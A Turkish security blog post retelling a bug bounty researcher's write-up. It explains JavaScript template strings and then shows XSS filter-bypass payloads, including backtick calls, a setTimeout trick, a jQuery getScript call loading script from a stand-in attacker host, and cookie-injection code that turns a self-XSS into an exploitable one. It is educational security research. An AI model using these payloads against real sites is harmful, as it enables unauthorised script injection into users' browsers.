Biz yarıştan sonra da koşan atlarız: Self-XSS'i Good XSS'e Çevirmek

Ziyahan Albeniz - 14 Ocak 2019 -

Bug Bounty programında bir araştırmacı bulduğu bir XSS'i, Self-XSS diyip geçmiyor ve tüm limitlerin ötesine geçmek için Template Strings gibi hangi adımları izliyor, detayları ile inceledik.

Biz yarıştan sonra da koşan atlarız: Self-XSS'i Good XSS'e Çevirmek

Synack Red Teams'in Private Bug Bounty programına davet edilen Hyde rumuzlu araştırmacı, sitede gerçekleştirdiği testler sonucunda bir Reflected XSS keşfetti.

Keşfetti ama siz bir de işin meşakkatini Hyde'a sorun. Karşılaştığı sorunlara değindiği blog post pek çok açıdan öğretici. Bu sebeple bu haftanın Haftanın Hackleri yazısına konu etmek istedik.

DOM'a erişebildiğini kanıtlayamadığı için başlangıçta 272$ ile ödüllendirilen araştırmacı…

Durun bir dakika, XSS'in en büyük kıymeti harbiyesi DOM'a erişmek değil mi? Nasıl olur da XSS bulup DOM'a erişemez?!

DOM'a erişememesinin esas nedenini sayfada parantez karakterinin filtrelenmesi olarak belirten Hyde, aşağıdaki gibi bir payload'u bir türlü sayfada çalıştıramadı:

alert(document.domain)

Backtick ` işaretinin Javascript fonksiyonlarında parantez işlevi görebileceği ipucundan hareket eden Hyde, payload'unu aşağıdaki şekilde güncelledi:

alert `document.cookie`

Sayfada bir uyarı görüntüleyebilen Hyde, bu defa document.domain değerinden ziyade literal olarak document.domain değerini gördü. Yani alert kullanımı ile bu DOM attribute'ü ekrana basılmak yerine uyarı mesajında "document.domain" metni gözüküyordu:

DocumentDomain

Her ne kadar Hyde'in test ettiği sitede parantezler engellenmiş olsa da bu noktada backtick'lerin perdesini aralamak için bir parantez açmamız gerekiyor.

Nedir Bu Template String'leri?

Ruby, Python gibi script dillerini kullanmış olanlar, bu dillerin string işlemlerinde sunduğu gücü maalesef Javascript'de bulamıyorlar.

Zira Javascript'in String işlemleri kısıtlı.

Modern dünyanın ihtiyaçları karşısında Javascript'in string fonksiyonlarını güncellemek yerine daha akılcı bir yol tutturan browser üreticileri önce Chrome 41 ve ardından Firefox tarayıcılarda Template String adı verilen bir konsepti geliştirdiler. O gün bugündür AngularJS, KnockOutJS gibi MVVM (Model–view–viewmodel) teknolojilerinin en önemli dayanaklarından birini oluşturuyor.

Peki ne sunuyor bu Template String teknolojisi?

Metinlerin substition'ından tutun da gömülü ifadelere, yerelleştirme ve güvenli HTML encoding'den, çok satırlı metin değişkeni tanımlamaya kadar pek çok imkân sunuyor.

Template String'lerinin alameti farikası, yani ayırıcı noktası tek ya da çift tırnak yerine, metin sınırlandırmada backtick ` işaretini kullanmaları.

var greeting = `Yo World!`;

E bu kadar mı? Pek de bir numarası yokmuş, dediğinizi duyar gibiyiz.

Devam edelim öyleyse…

String Substitution - Metin Değiştirme

Aşağıdaki yöntemle hali hazırda scope içerisinde tanımlanmış bir değişkeni, metin içerisine placeholder ile yerleştirebilmek mümkün:

var name="Netsparker Türkiye";
alert(`Hoşgeldiniz, burası ${name} Blogu`);

varName

Placeholder’ların ${ } karakterleri arasında kullanıldığı dikkatinizi çekmiş olmalı. String Substitution'da sadece değişkenleri değil, fonksiyon çağrılarını da kullanabilirsiniz.  Bunun sebebi String Substitution'ların aslında geçerli birer Javascript ifadeleri olmaları.

var name="Netsparker Türkiye";
alert(`Hoşgeldiniz, burası ${name.toUpperCase()} Blogu`);

varFunction

Ya da şöyle bir örneğe ne dersiniz?

function sayHello() { return "Netsparker Türkiye Blogu'na Hoşgeldiniz"; }
alert(`Sayın ziyaretçimiz, ${sayHello()} iyi okumalar!`);

Function

Peki string’lerimiz içerisinde literal backtick'lere ihtiyaç duyarsak ne yapacağız?

O takdirde bu backtick karakterlerini escape edebiliriz:

var hello= `\` is useful`;
alert(`${hello}`);

Escape

Çoklu Satırda String Değişkenleri Tanımlama

Javascript'de çoklu satırda string değişkenleri tanımlarken pek çoğumuz aşağıdaki yöntemi kullanmıştır:

var greeting = "Yo \
World";

Ya da

var greeting = "Yo " +
"World";

Bu Template String'lerine kadar işimizi pekâlâ gördüyse de aslında bunun küçük bir hack olduğunu söylemek yerinde olacaktır. Template Stringleri sayesinde doğrudan çoklu satırda string değişkenleri tanımlayabiliriz:

console.log(`string text line 1
string text line 2`);

Tagged Templates

Nihayet Template String'lerinin konumuzla alakalı en güçlü tarafına geldik. Tagged Templates ile bir Template String'i bir fonksiyona parametre olarak atayarak üzerinde kimi işlemler yapabiliriz.

var message = tag`Hello world`;

Örneğin HTML encoding yapacak bir fonksiyon yazalım:

html`<p title="${title}">Hello ${you}!</p>`

Buradaki tag'ımız html. Kendisine parametre olarak verilen Template String bu fonksiyon tarafından işlenecek, bir dizi değişiklikler yapılacak.

Hyde'ın alert fonksiyonu ile birlikte kullandığı backtick'in arkaplanı bu.

Fakat yukarıdaki ekran görüntüsünden de hatırlayacağınız üzere document.domain attribute değeri yerine "document.domain" metni görüntülenmişti.

Bunu da aşmak için XSS konusunda araştırmalarıyla meşhur Brute Logic'e müracaat eden Hyde, XSS Cheat Sheet dökümanından ilham ile aşağıdaki yöntemi deniyor:

setTimeout`alert\x28document.domain\x29`

setTimeout fonksiyonu ile birlikte backtickler yorumlanıyor ve document.domain attribute değeri mesaj metnine ekleniyor.

Başlangıçta DOM'a erişemediği için 272$ ödülle yetinmek zorunda kalan Hyde, DOM'a erişim elde ettiğini belirtmesi üzerine helalinden bir 60$ daha ödüllendiriliyor.

Tabii hikâye burada bitmiyor. Hyde aynı zamanda Bug Bounty scope'undaki bir subdomain'de Self-XSS tespit ettiğini belirtiyor. Tabii bu Self-XSS olduğu için exploitationı meşakkatli. Üstelik zafiyetin istismarı için Cookie value'su üzerinden bir injection yapmalı.

Bir kullanıcının tarayıcısında cookie değerini değiştirebilmeniz başka bir zafiyetin yardımı olmaksızın imkânsız.

Fakat Cookie konusundaki yazılarımızı takip eden okurlar şunu hatırlayacaklardır, bir domain tüm subdomainler için Cookie set edebilir. Yine aynı şekilde bir subdomain üzerinden ana domaindeki cookie'ler override edilebilir.

Yukarıda bulduğu ve backtick'ler ile exploit edebildiği XSS üzerinden bu subdomain'e bir Cookie set edebileceğini düşünen Hyde, bu defa XSS payload'undaki karakter limitine takılıyor.

Bu engeli external bir Javascript kullanımı ile yani kontrolündeki bir domain üzerinden XSS yardımı ile script çağırarak yapabileceğini düşünüyor. Script taglarının açılması, kapanması src ile kaynağın belirtilmesi derken, talihsizlikler bir türlü yakasını bırakmıyor Hyde'ın

Sitede jQuery kütüphanesi kullanıldığını farkeden Hyde bu defa jQuery'nin getString fonksiyonunu kullanabileceğini farkediyor:

$.getScript`//xss.example.com/xss.js`

Siteye ekleyeceği Javascript kodunu da aşağıdaki şekilde düzenleyen Hyde başarı ile Self-XSS'i Good-XSS'e çevirmiş oluyor:

$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');
function setCookieRedir(){
       document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
        window.location = "https://example.com/vulnerablePage.html";
}

Cookie'nin base64 encoded halde olması tamamen hedef sitedeki Cookie'nin işleyişi ile alakalı.

Cookie değerinin base64 encoded hali:

LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v

Bu değer sistem tarafından decode edilip, DOM'a yansıtıldığında aşağıdaki XSS payload'u çalışmış olacak:

--></script><script>alert(document.domain);//

Zafiyeti ilk raporladığında 272$ ile ödüllendirilen Hyde, DOM'a erişim elde ettiğinde 60$'lık bir ödül daha almıştı. Fakat bu altın vuruşu takdir eden site sahipleri, Self-XSS'i Good-XSS'e çevirdiği için yukarıdaki rakama ek olarak 616$’lık bir ödül daha vermişler.

Hyde'ın araştırmasını okumak isterseniz Medium'daki bloguna göz atabilirsiniz.

Template String'leri konusunda da Google ekibinden Javascript gurusu Addy Osmani'nin makalesine göz atabilirsiniz.